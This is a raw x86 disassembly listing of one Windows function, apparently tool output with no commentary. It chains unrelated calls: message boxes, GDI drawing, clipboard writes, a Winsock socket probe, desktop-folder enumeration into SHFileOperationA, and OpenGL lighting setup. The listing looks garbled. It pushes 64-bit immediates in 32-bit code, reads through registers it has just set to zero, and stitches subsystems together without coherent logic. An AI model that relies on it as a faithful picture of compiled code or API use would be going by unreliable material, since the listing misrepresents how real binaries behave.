mov ebx, dword [esp + 0x20]
push 0x104
lea edx, [esp + 0x6dc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x402ab2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
lea eax, [esp + 0x3cc]
push eax
mov ecx, eax
push ecx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x417ebc
lea edx, [esp + 0x1c]
push edx
mov dword [esp + 0x20], eax
call fcn.00404ecb
lea eax, [esp + 0x6d8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
mov eax, dword [0x41d178]
mov ecx, dword [0x41d17c]
mov edx, dword [esp + 0x14]
mov esi, dword [0x41d18c]
add ecx, edx
add eax, ebx
imul ecx, eax
xor eax, eax
mov dword [0x41d178], ecx
mov ecx, dword [esp + 0x34]
push esi
mov dword [esp + 0x10], ecx
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], eax
call dword [sym.imp.USER32.dll_GetDC]
mov ebx, eax
push ebx
mov dword [esp + 0x4c], ebx
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0xfffffffffffffff8
push 0xfffffffffffffff8
push ebx
mov edi, eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
test ebx, ebx
mov dword [esp + 0x28], eax
je 0x402bb3
test edi, edi
je 0x402bb3
mov edx, dword [esp + 0x14]
cmp dword [0x41d188], edx
jle 0x402b48
mov eax, dword [0x41d17c]
add dword [esp + 0xc], eax
jmp 0x402b5d
mov eax, dword [0x41d178]
mov ecx, dword [0x41d184]
cdq
add ecx, 1
idiv ecx
mov dword [esp + 0xc], eax
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x30]
mov ecx, dword [0x41d18c]
add eax, edx
mov edx, dword [0x41d190]
add eax, dword [ebp + 0x14]
lea ecx, [edx + ecx + 0x64]
mov edx, dword [esp + 0x34]
mov dword [esp + 0x10], 3
add eax, ecx
test eax, eax
jle 0x402ba5
mov ebx, dword [esp + 0x30]
add ebx, edx
lea ebx, [ebx*4 + 0x14]
mov dword [esp + 0xc], ebx
mov ebx, dword [esp + 0x18]
mov dword [esp + 0x24], ebx
sub dword [esp + 0x10], 1
jne 0x402b86
mov dword [0x41d178], eax
jmp 0x402bd5
mov eax, dword [0x41d184]
lea ecx, [eax + 1]
imul ecx, dword [0x41d188]
mov eax, dword [0x41d178]
mov edx, eax
neg edx
cmp edx, ecx
jne 0x402bd5
add dword [0x41d17c], eax
mov eax, dword [esp + 0x28]
mov ebx, dword [sym.imp.GDI32.dll_SelectObject]
push eax
push edi
call ebx
push 0
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
push edi
call ebx
sub dword [0x41d17c], 1
push 0xf00021
push 0xfffffffffffffff8
push 0xfffffffffffffff8
push 0
push 0
push edi
call dword [sym.imp.GDI32.dll_PatBlt]
mov ecx, dword [esp + 0x48]
mov ebx, dword [esp + 0x38]
push ecx
push esi
add ebx, 5
call dword [sym.imp.USER32.dll_ReleaseDC]
push esi
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov edx, dword [esp + 0x24]
push ebx
push 0x4180b8
push edx
call fcn.00408910
mov eax, dword [esp + 0x34]
add esp, 0xc
push 8
push 0xfffffffffffffff8
push 0xfffffffffffffff8
push 0
push eax
call dword [sym.imp.USER32.dll_CopyImage]
push eax
push 2
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x24]
add ecx, 0x63
imul ecx, dword [ebp + 0x14]
sub ecx, dword [esp + 0xc]
push 0x87
add ecx, 1
mov dword [0x41d178], ecx
push edx
mov ecx, ebx
call fcn.00401260
lea eax, [esp + 0x268]
push eax
push esi
call dword [sym.imp.USER32.dll_EndPaint]
push edi
call dword [sym.imp.GDI32.dll_DeleteDC]
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x34]
push eax
mov dword [edx + 1], ecx
call dword [sym.imp.GDI32.dll_DeleteObject]
push 1
push esi
call dword [sym.imp.USER32.dll_EndDialog]
lea ecx, [esp + 0x88]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x402cdb
add dword [0x41d178], 1
push 1
xor esi, esi
push esi
push esi
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
push 0x174
lea edx, [esp + 0x6dc]
push esi
push edx
mov edi, eax
mov dword [esp + 0x24], 0x174
call fcn.00408860
add esp, 0xc
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x6dc]
push ecx
push 0x2004
push 0xffff
push edi
call dword [sym.imp.WS2_32.dll_getsockopt]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
jne 0x402d45
push str.closesocket___should_be_fine__n
call fcn.00404911
add esp, 4
jmp 0x402d59
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.closesocket___failed_with_error_code__d_n
call fcn.00404911
add esp, 8
call dword [sym.imp.WS2_32.dll_WSACleanup]
test eax, eax
jne 0x402d70
push str.WSACleanup___is_OK__n
call fcn.00404911
add esp, 4
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x2c], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x4c], esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x24], esi
xor edi, edi
mov byte [esp + 0x2c4], 0
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov eax, dword [esp + 0x28]
mov ecx, dword [eax]
push esi
lea edx, [esp + 0x4c]
push edx
lea edx, [esp + 0x4c]
push edx
mov edx, dword [esp + 0x3c]
push str.test
push esi
push edx
push eax
mov eax, dword [ecx + 0xc]
call eax
mov eax, dword [esp + 0x28]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
cmp dword [esp + 0x50], esi
je 0x402de4
cmp dword [0x41d190], esi
jne 0x402f09
mov eax, dword [esi]
mov edx, dword [eax + 0x10]
lea ecx, [esp + 0x20]
push ecx
push 0x60
push esi
push esi
call edx
mov eax, dword [esp + 0x20]
mov ecx, dword [eax]
lea edx, [esp + 0x38]
push edx
lea edx, [esp + 0x18]
push edx
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jne 0x402ec4
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebx, [ebx]
cmp dword [esp + 0x38], 1
jne 0x402ec4
xor eax, eax
mov ecx, dword [eax]
mov eax, dword [esp + 0x14]
mov ecx, dword [ecx + 0x2c]
lea edx, [esp + 0x6d8]
push edx
push 0x8000
push eax
push 0
call ecx
mov eax, dword [esp + 0x14]
push 0x104
lea edx, [esp + 0x8c]
push edx
push eax
lea ecx, [esp + 0x6e4]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrRetToBufA]
lea edx, [esp + 0x88]
push edx
xor esi, esi
call ebx
test eax, eax
jl 0x402ea2
jmp 0x402e80
mov al, byte [esp + esi + 0x88]
lea ecx, [esp + 0x88]
mov byte [esp + edi + 0x2c0], al
push ecx
add edi, 1
add esi, 1
call ebx
cmp esi, eax
jle 0x402e80
mov eax, dword [esp + 0x20]
mov edx, dword [eax]
mov edx, dword [edx + 0xc]
lea ecx, [esp + 0x38]
push ecx
lea ecx, [esp + 0x18]
push ecx
push 1
push eax
call edx
xor esi, esi
test eax, eax
je 0x402e20
mov eax, dword [esp + 0x20]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
lea ecx, [esp + 0x58]
lea eax, [esp + 0x2c0]
push ecx
mov byte [esp + edi + 0x2c4], 0
mov dword [esp + 0x5c], esi
mov dword [esp + 0x60], 2
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], 0x416e68
mov word [esp + 0x6c], 1
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
mov esi, dword [sym.imp.SHELL32.dll_SHChangeNotify]
push 0
push 0x416e6c
push 1
push 0x1000
call esi
push 0
push 0x416e70
push 1
push 0x1000
call esi
fld dword [0x416ebc]
mov esi, dword [sym.imp.OPENGL32.dll_glEnable]
fst dword [esp + 0x58]
fst dword [esp + 0x5c]
push 0xbc0
fstp dword [esp + 0x64]
fld1
fstp dword [esp + 0x68]
fld dword [0x416eb8]
fst dword [esp + 0x21c]
fst dword [esp + 0x220]
fstp dword [esp + 0x224]
call esi
push 0xb71
call esi
push 0xb57
call esi
push 0xb50
call esi
push 0x4000
call esi
push 0xbe2
call esi
push 0x303
push 0x302
call dword [sym.imp.OPENGL32.dll_glBlendFunc]
mov esi, dword [sym.imp.OPENGL32.dll_glLightfv]
lea edx, [esp + 0x58]
push edx
push 0x1203
push 0x4000
call esi
lea eax, [esp + 0x218]
push eax
push 0x1204
push 0x4000
call esi
mov eax, dword [esp + 0x24]
push eax
call eax
mov ecx, dword [esp + 0x8e4]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004040b2
mov esp, ebp
pop ebp
ret 0x10